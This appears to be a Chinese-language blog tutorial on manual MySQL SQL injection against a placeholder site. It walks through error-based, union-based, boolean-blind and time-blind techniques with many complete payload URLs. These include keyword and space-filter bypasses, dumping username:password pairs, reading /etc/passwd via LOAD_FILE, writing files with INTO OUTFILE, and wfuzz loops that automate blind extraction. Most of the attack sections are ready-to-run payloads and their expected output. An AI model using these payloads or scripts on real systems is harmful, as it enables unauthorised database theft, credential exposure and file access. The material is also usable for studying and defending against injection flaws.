SQL注入从入门到入狱:万字长文带你领略手工注入的魅力

在SQL注入的世界中,灵活而直观的手工注入展现出独特的魅力。相比自动化工具,手工注入不仅能帮助我们深入理解漏洞原理,还能在特定场景下突破工具的局限。本文将从基础SQL函数入手,逐步探讨报错注入、联合注入、布尔盲注和时间盲注等多种手工注入技术。希望通过这篇文章,能让你感受到SQL注入的精妙之处,并在实战中游刃有余。

本文以MySQL为例,介绍手工注入原理与实现。


一、SQL注入必备函数速览

在开始手工注入之前,掌握一些常用的SQL函数是必不可少的。这些函数将成为我们构造Payload时的得力助手。以下是一些关键函数及其用途:

  • LIMIT <偏移量>,<行数>:限制查询返回的行数,例如LIMIT 1,2表示从第2行开始返回2行数据。
  • COUNT(*):统计表中的总行数。
  • RAND():生成0到1之间的随机数。
  • FLOOR(RAND()*<数字>):从随机小数中提取整数部分。
  • SELECT (SELECT DATABASE()):嵌套查询示例,用于获取当前数据库名。
  • GROUP BY <列名>:按指定列汇总数据。
  • CONCAT(<字符串1>, <字符串2>, ...):拼接字符串,常用于合并表名或列名。
  • LENGTH(<字符串>):计算字符串长度。
  • SUBSTR(<字符串>, <偏移量>, <字符长度>):提取字符串子串。
  • ASCII(<字符>):返回字符的ASCII码值。
  • SLEEP(<秒数>):暂停执行指定秒数,常用于时间盲注。
  • IF(<条件>, <真时操作>, <假时操作>):条件判断语句。
  • LIKE "<字符串>%":模糊匹配字符串。
  • INTO OUTFILE "<文件路径>":将查询结果导出到文件。
  • LOAD_FILE("<文件路径>"):读取并返回文件内容。

这些函数将在后续的注入示例中频繁出现,熟练掌握它们将极大提升你的注入效率。


二、基础知识:MySQL 内置数据库

MySQL 预装了一些特殊的系统数据库,这些内置数据库不包含业务数据,而用于存储数据库管理和运行时信息。常见的系统数据库如下:


1. information_schema(元数据存储库)

作用:提供数据库的元数据(即关于数据库本身的信息),但不存储实际数据。

主要表结构

  • schemata:存储所有数据库(即schema)的名称。
  • tables:存储数据库中的所有表信息。
  • columns:存储所有表的列信息。
  • key_column_usage:存储外键约束信息。
  • statistics:存储索引信息。

示例查询:获取当前数据库的所有表名:

SELECT table_name FROM information_schema.tables WHERE table_schema=database();

2. mysql(用户与权限管理)

作用:存储用户账户、权限、日志等信息,主要用于身份验证和权限控制

主要表结构

  • user:存储数据库用户及其权限。
  • db:存储数据库级别的权限控制。
  • tables_priv:存储表级权限。
  • columns_priv:存储列级权限。
  • procs_priv:存储存储过程和函数的权限。

示例查询:列出所有数据库用户:

SELECT user, host FROM mysql.user;

3. performance_schema(性能监控)

作用:记录数据库的性能数据,如查询、I/O、等待事件等。

主要表结构

  • events_statements_summary_by_digest:存储SQL语句的执行统计信息。
  • threads:存储当前连接的线程信息。
  • table_io_waits_summary_by_table:存储表级别的I/O等待时间。
  • events_waits_summary_global_by_event_name:存储数据库的等待事件统计信息。

示例查询:获取最常执行的SQL语句:

SELECT digest_text, count_star FROM performance_schema.events_statements_summary_by_digest ORDER BY count_star DESC LIMIT 5;

4. sys(简化性能监控)

作用:基于 performance_schema,提供更易读的系统视图,用于数据库状态监控

主要表结构

  • sys.user_summary_by_statement_type:按SQL语句类型统计用户的执行情况。
  • sys.processlist:类似 SHOW PROCESSLIST,显示当前连接信息。
  • sys.wait_classes_global_by_avg_latency:存储全局等待事件的平均延迟信息。

示例查询:获取当前数据库的慢查询信息:

SELECT * FROM sys.statements_with_runtimes_in_95th_percentile;

三、手工注入的三大核心技术详解

手工注入主要依赖三种技术:报错注入(Error-based)、联合注入(Union-based)和 盲注(Blind)。下面将逐一展开,结合具体示例说明其应用。


1. 报错注入:利用报错信息挖掘数据

报错注入通过触发数据库报错,观察返回信息来推断后端结构或数据。


步骤1:确认注入点是否存在

报错注入的前提是目标存在SQL注入漏洞,且后端会将数据库错误信息回显到页面。

  • 测试方法

    • 在参数后添加单引号、双引号或其他SQL语法破坏字符,观察页面响应。
    • 示例:
      http://meh.com/index.php?id=1'
      
    • 若返回类似You have an error in your SQL syntax...的错误,则存在注入点且报错可回显。
  • 注意事项

    • 若单引号被过滤,可尝试"\或不加引号直接拼接SQL函数。
    • 使用注释符(如--+#)闭合语句,确保报错触发。
  • 示例

    http://meh.com/index.php?id=1' --+
    

    若页面恢复正常但未报错,则需进一步测试报错回显。


步骤2:触发报错并验证回显

报错注入依赖数据库报错信息,因此需确认报错内容是否包含有用数据。

  • 方法

    • 使用会导致语法错误的Payload,触发报错。
    • 示例:
      http://meh.com/index.php?id=1' AND 1=2 --+
      
    • 若页面无变化,尝试更复杂的语句:
      http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'a') --+
      

      EXTRACTVALUE在MySQL中用于解析XML,若参数无效会报错。

  • 验证报错回显

    • 若返回类似XPATH syntax error: 'a'的错误,说明报错可控且会回显。
  • 后端逻辑假设

    • 原始查询可能是:
      SELECT * FROM users WHERE id = '1'
      
    • 输入1'后变成:
      SELECT * FROM users WHERE id = '1''
      
    • 语法错误触发报错。

步骤3:利用报错函数提取数据

MySQL中有多个函数在报错时会将参数内容回显,常用函数包括EXTRACTVALUEUPDATEXMLFLOOR等。

方法1:使用EXTRACTVALUE
  • 原理
    • EXTRACTVALUE(xml, xpath)解析XML并返回指定路径的值,若路径无效则报错并回显参数。
  • 示例
    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e)) --+
    
    • 0x7e~的十六进制表示,用于分隔。
    • 若数据库名为test_db,报错可能为:
      XPATH syntax error: '~test_db~'
      
方法2:使用UPDATEXML
  • 原理
    • UPDATEXML(xml, xpath, new_value)更新XML,若路径无效则报错并回显。
  • 示例
    http://meh.com/index.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1) --+
    
    • 返回:
      XPATH syntax error: '~root@localhost~'
      
方法3:使用FLOOR结合RAND(仅适用于特定版本)
  • 原理

    • FLOOR(RAND(0)*2)在分组查询中可能因重复计算导致报错,回显子查询结果。
  • 示例

    http://meh.com/index.php?id=1' AND 1=(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --+
    
    • 报错:
      Duplicate entry 'test_db~1' for key 'group_key'
      
  • 注意

    • FLOOR方法在MySQL 5.5+中可能失效,优先使用EXTRACTVALUEUPDATEXML

步骤4:提取基本数据库信息

利用报错函数提取常用信息。

  • 获取数据库名

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+
    
  • 获取当前用户

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, USER(), 0x7e)) --+
    
  • 获取版本

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, @@version, 0x7e)) --+
    

步骤5:枚举数据库结构

提取表名、列名等信息,借助information_schema

  • 获取所有表名

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 0x7e)) --+
    
    • 可能返回:
      XPATH syntax error: '~users,orders~'
      
  • 获取指定表的列名

    • 假设表名为users
      http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+
      
    • 返回:
      XPATH syntax error: '~id,username,password~'
      
  • 限制长度问题

    • MySQL报错信息通常截断为32个字符,可用LIMIT逐条提取:
      http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 0x7e)) --+
      

步骤6:提取表中数据

根据表名和列名提取具体内容。

  • 获取users表的数据

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username) FROM users), 0x7e)) --+
    
    • 返回:
      XPATH syntax error: '~admin,user1~'
      
  • 拼接多列

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+
    
    • 返回:
      XPATH syntax error: '~admin:123456~'
      

步骤7:优化与绕过

面对过滤或限制时的应对策略。

  • 绕过空格过滤

    • /**/替代空格:
      http://meh.com/index.php?id=1'/**/AND/**/EXTRACTVALUE(1,/**/CONCAT(0x7e,/**/DATABASE(),/**/0x7e))--+ 
      
  • 绕过关键字过滤

    • 用大小写混淆或函数嵌套:
      http://meh.com/index.php?id=1' AnD ExTrAcTvAlUe(1, CoNcAt(0x7e, DaTaBaSe(), 0x7e)) --+
      
  • 处理长数据

    • 使用SUBSTR分段提取:
      http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 1, 30), 0x7e)) --+
      

注意事项

  1. 报错回显依赖:若后端不显示错误信息,报错注入无效,需转向盲注。
  2. 函数兼容性EXTRACTVALUEUPDATEXML适用于MySQL 5.1+,其他数据库可能需调整。
  3. 权限限制:访问information_schema需用户具备相应权限。
  4. 长度限制:报错信息可能截断,需分段提取或优化Payload。

实战演练

假设目标URL为http://meh.com/index.php?id=1,后端查询为:

SELECT * FROM users WHERE id = '1'

示例完整流程如下:

  1. 确认注入点

    http://meh.com/index.php?id=1'
    

    返回SQL syntax error,存在注入且报错回显。

  2. 触发报错

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'test') --+
    

    返回XPATH syntax error: 'test',报错可控。

  3. 提取数据库名

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+
    

    返回XPATH syntax error: '~test_db~'

  4. 枚举表名

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='test_db'), 0x7e)) --+
    

    返回XPATH syntax error: '~users,orders~'

  5. 提取列名

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+
    

    返回XPATH syntax error: '~id,username,password~'

  6. 提取数据

    http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+
    

    返回XPATH syntax error: '~admin:123456~'


2. 联合注入:拼接查询结果

联合注入通过UNION SELECT将自定义查询结果与原始查询拼接,前提是确保列数匹配且原始查询返回空结果(例如将id设为无效值,如-1)。


步骤1:确认注入点是否存在

联合查询的前提是目标存在SQL注入漏洞,因此首先需要验证注入点。

  • 测试方法

    • 在参数后添加单引号,例如:
      http://meh.com/index.php?id=1'
      
    • 若页面报错(如显示SQL语法错误)或行为异常(返回空白或部分内容),则可能存在注入点。
  • 注意事项

    • 若单引号被过滤,可尝试双引号(")、反斜杠(\)或其他符号。
    • 使用注释符(如--+#)闭合语句,观察响应变化。
  • 示例

    http://meh.com/index.php?id=1' --+
    

    若页面恢复正常,说明注入点可控。


步骤2:确定后端查询的列数

联合查询要求攻击者的UNION SELECT语句列数与原始查询一致,因此需先确定列数。

  • 方法1:使用ORDER BY逐步探测

    • 在URL中添加ORDER BY <数字>,逐步增加数字,直到报错。
    • 示例:
      http://meh.com/index.php?id=1 ORDER BY 1 --+
      http://meh.com/index.php?id=1 ORDER BY 2 --+
      http://meh.com/index.php?id=1 ORDER BY 3 --+
      
    • ORDER BY 2正常,ORDER BY 3报错,则后端查询有2列。
  • 方法2:借助工具(如wfuzz

    • 使用自动化工具快速测试:
      wfuzz -c -z range,1-10 "http://meh.com/index.php?id=1 ORDER BY FUZZ --+"
      
    • 通过响应状态码或大小变化判断列数。
  • 结果解读

    • 假设探测到列数为5,后续Payload需构造5列。

步骤3:构造基础联合查询并确保返回空结果

联合查询需要原始查询返回空结果,以便只显示攻击者构造的内容。

  • 方法

    • 将参数设置为无效值(如-1),使原始查询无匹配记录。
    • 示例(假设列数为5):
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,3,4,5 --+
      
  • 后端逻辑假设

    • 原始查询可能是:
      SELECT column1, column2, column3, column4, column5 FROM table WHERE id = '-1'
      
    • 因为id=-1不存在,返回空结果,UNION后的内容生效。
  • 验证

    • 若页面显示数字1,2,3,4,5中的部分或全部,则联合查询生效。

步骤4:确定页面可显示的列

并非所有列的内容都会显示在页面上,需找出哪些列会回显。

  • 方法

    • 用明显不同的字符串替换数字,逐列测试。
    • 示例:
      http://meh.com/index.php?id=-1 UNION SELECT 'a','b','c','d','e' --+
      
    • 检查页面,若显示c,说明第3列可回显。
  • 结果

    • 假设第3列可显示,后续注入将数据放在第3列。

步骤5:提取基本数据库信息

利用可显示列提取数据库元信息。

  • 获取数据库版本

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,@@version,4,5 --+
    
    • 若第3列显示5.7.32,则为MySQL版本。
  • 获取当前用户

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,USER(),4,5 --+
    
    • 可能返回root@localhost
  • 获取当前数据库名

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,DATABASE(),4,5 --+
    
    • 可能返回test_db
  • 获取数据目录

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,@@datadir,4,5 --+
    

步骤6:枚举数据库结构

进一步提取表名、列名等信息,通常借助information_schema表。

  • 获取所有表名

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema=DATABASE() --+
    
    • GROUP_CONCAT将结果拼接为逗号分隔的字符串,如users,orders
  • 获取指定表的列名

    • 假设表名为users
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users' --+
      
    • 可能返回id,username,password

步骤7:提取表中数据

根据表名和列名,提取具体数据。

  • 获取users表的内容

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(username),4,5 FROM users --+
    
    • 可能返回admin,user1,user2
  • 提取多列内容

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,CONCAT(username,':',password),4,5 FROM users --+
    
    • 可能返回admin:123456,user1:password

步骤8:高级应用(可选)

联合查询还可用于文件操作或权限提升。

  • 导出数据到文件

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,username,4,5 FROM users INTO OUTFILE '/tmp/users.txt' --+
    
    • 前提:具有文件写入权限,且路径可控。
  • 读取文件内容

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,LOAD_FILE('/etc/passwd'),4,5 --+
    

注意事项

  1. 列数匹配UNION SELECT的列数必须与原始查询一致。
  2. 数据类型一致:每列的数据类型需与原始查询对应(如字符串列不能注入数字)。
  3. 注释符选择:根据过滤情况使用--+#/* */
  4. 绕过过滤:若空格被过滤,可用/**/替代;若单引号被转义,可用CHAR(39)表示。
  5. 权限限制:文件操作需数据库用户具备FILE权限。

实战演练

假设目标URL为http://meh.com/index.php?id=1,后端查询为:

SELECT id, name, email, age, city FROM users WHERE id = '1'

示例完整流程如下:

  1. 确认注入点

    http://meh.com/index.php?id=1' --+
    

    页面正常,存在注入。

  2. 确定列数

    http://meh.com/index.php?id=1 ORDER BY 5 --+  # 正常
    http://meh.com/index.php?id=1 ORDER BY 6 --+  # 报错
    

    列数为5。

  3. 构造基础联合查询

    http://meh.com/index.php?id=-1 UNION SELECT 1,2,3,4,5 --+
    
  4. 确定显示列

    http://meh.com/index.php?id=-1 UNION SELECT 'a','b','c','d','e' --+
    

    页面显示c,第3列可回显。

  5. 提取信息

    • 数据库名:
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,DATABASE(),4,5 --+
      
      返回test_db
    • 表名:
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema='test_db' --+
      
      返回users,orders
    • 列名:
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users' --+
      
      返回id,name,email,age,city
    • 数据:
      http://meh.com/index.php?id=-1 UNION SELECT 1,2,CONCAT(name,':',email),4,5 FROM users --+
      
      返回admin:[email protected],user1:[email protected]

3. 盲注:无声中取胜

盲注适用于页面仅返回简单状态(如“成功”或“失败”),而不显示SQL错误或查询结果的场景。攻击者通过构造条件语句,观察页面响应变化(布尔盲注)或响应时间差异(时间盲注),逐字符推断数据库信息。


步骤1:确认注入点是否存在

盲注的第一步是验证参数是否可被SQL语句操控。

  • 测试方法

    • 输入简单条件语句,观察页面响应。
    • 示例:
      http://meh.com/index.php?id=1' AND 1=1 --+
      
      • 若页面正常显示,说明条件为真。
      http://meh.com/index.php?id=1' AND 1=2 --+
      
      • 若页面异常(如空白或错误提示),说明条件为假,存在注入点。
  • 注意事项

    • 若单引号被过滤,尝试"\或无引号拼接。
    • 使用注释符(如--+#)闭合语句。
  • 后端逻辑假设

    • 原始查询:
      SELECT * FROM users WHERE id = '1'
      
    • 输入1' AND 1=1 --+后:
      SELECT * FROM users WHERE id = '1' AND 1=1 --'
      
    • 条件成立,页面正常。

步骤2:选择盲注类型

根据页面反馈特性,选择布尔盲注或时间盲注:

  • 布尔盲注:页面有明显真假状态区分(如“登录成功” vs “登录失败”)。
  • 时间盲注:页面无状态变化,但可通过响应时间推断。

布尔盲注(Boolean-based Blind SQL Injection)

步骤3:验证布尔盲注可行性

  • 方法

    • 输入恒真和恒假条件,观察页面差异。
    • 示例:
      http://meh.com/index.php?id=1' AND 1=1 --+  # 页面正常
      http://meh.com/index.php?id=1' AND 1=2 --+  # 页面异常
      
  • 确认

    • 若响应有明显区分,则布尔盲注可行。

步骤4:逐字符推断数据

布尔盲注通过构造条件,逐字符猜测数据库信息,常用函数包括SUBSTRASCII

获取数据库名
  • 方法

    • 使用SUBSTR提取数据库名某位置的字符,与猜测值比较。
    • 示例:
      http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 1, 1)='t' --+
      
      • 若页面正常,则首字母为t
      http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 2, 1)='e' --+
      
      • 若正常,则第2个字母为e
  • 优化:使用ASCII

    • 将字符转为ASCII码,缩小猜测范围。
    • 示例:
      http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+
      
      • 116t的ASCII码,若正常则首字母为t
枚举表名
  • 方法
    • 查询information_schema.tables
      http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117 --+
      
      • 117u,若正常则首表名以u开头(如users)。
提取列名和数据
  • 列名
    http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 1, 1))=105 --+
    
    • 105i,可能为id
  • 数据
    http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97 --+
    
    • 97a,可能为admin

步骤5:自动化优化

手动逐字符猜测效率低,可结合工具(如wfuzz)加速。

  • 猜测数据库名

    for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ --+"; done
    
    • 范围32-127覆盖标准ASCII字符,正确字符对应正常响应。
  • 获取表名

    for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),$i,1))=FUZZ --+"; done
    

时间盲注(Time-based Blind SQL Injection)

步骤3:验证时间盲注可行性

  • 方法

    • 使用sleep()函数引入延迟,观察响应时间。
    • 示例:
      http://meh.com/index.php?id=1' AND SLEEP(5) --+
      
      • 若响应延迟5秒,则时间盲注可行。
  • 注意

    • id=1为真值,需用AND,否则用OR
      http://meh.com/index.php?id=0' OR SLEEP(5) --+
      

步骤4:逐字符推断数据

时间盲注通过条件判断结合延迟,推断数据。

获取数据库名
  • 方法
    • 使用IFsleep()
      http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(), 1, 1))=116, SLEEP(5), 0) --+
      
      • 若延迟5秒,则首字母为t
枚举表名
  • 方法
    http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+
    
    • 延迟则表名首字母为u
提取数据
  • 方法
    http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97, SLEEP(5), 0) --+
    
    • 延迟则数据首字母为a

步骤5:自动化优化

时间盲注耗时长,可用wfuzz结合时间筛选。

  • 猜测数据库名

    for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt
    
    • grep "0m4"筛选延迟响应(约5秒)。
  • 提取列内容

    for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt
    

注意事项

  1. 响应稳定性
    • 布尔盲注依赖页面状态一致性,时间盲注需网络延迟稳定。
  2. 权限要求
    • 访问information_schema需相应权限。
  3. 绕过过滤
    • 空格用/**/,关键字用大小写混淆。
  4. 效率优化
    • 先用二分法猜测ASCII范围(如>64),缩小范围。
  5. 真假值
    • 时间盲注需根据原始条件选择ANDOR

实战演练

目标URL:http://meh.com/index.php?id=1,后端:

SELECT * FROM users WHERE id = '1'

示例完整流程如下:

布尔盲注演练
  1. 确认注入
    http://meh.com/index.php?id=1' AND 1=1 --+  # 正常
    http://meh.com/index.php?id=1' AND 1=2 --+  # 异常
    
  2. 获取数据库名
    http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+  # 正常,'t'
    http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 2, 1))=101 --+  # 正常,'e'
    
    结果:test_db
时间盲注演练
  1. 验证延迟
    http://meh.com/index.php?id=1' AND SLEEP(5) --+  # 延迟5秒
    
  2. 获取表名
    http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+
    
    延迟则为u,结果:users

四、总结

手工注入的魅力在于其极致的灵活性与对细节的精准掌控。无论是通过报错注入快速定位数据库结构,还是利用联合注入优雅地拼接数据,亦或是盲注在无声之中悄然挖掘关键信息,每一种技术都如同精心雕琢的艺术品,展现了SQL注入的独特魅力与深邃内涵。本文从基础函数入手,逐步深入实战技巧,全方位为你呈现出了手工注入的全貌。愿你在未来的渗透测试中,能够熟练运用这些方法,在挑战与乐趣中领略SQL注入的无限魅力。

你可能感兴趣的:(sql,数据库,网络安全,渗透测试,安全)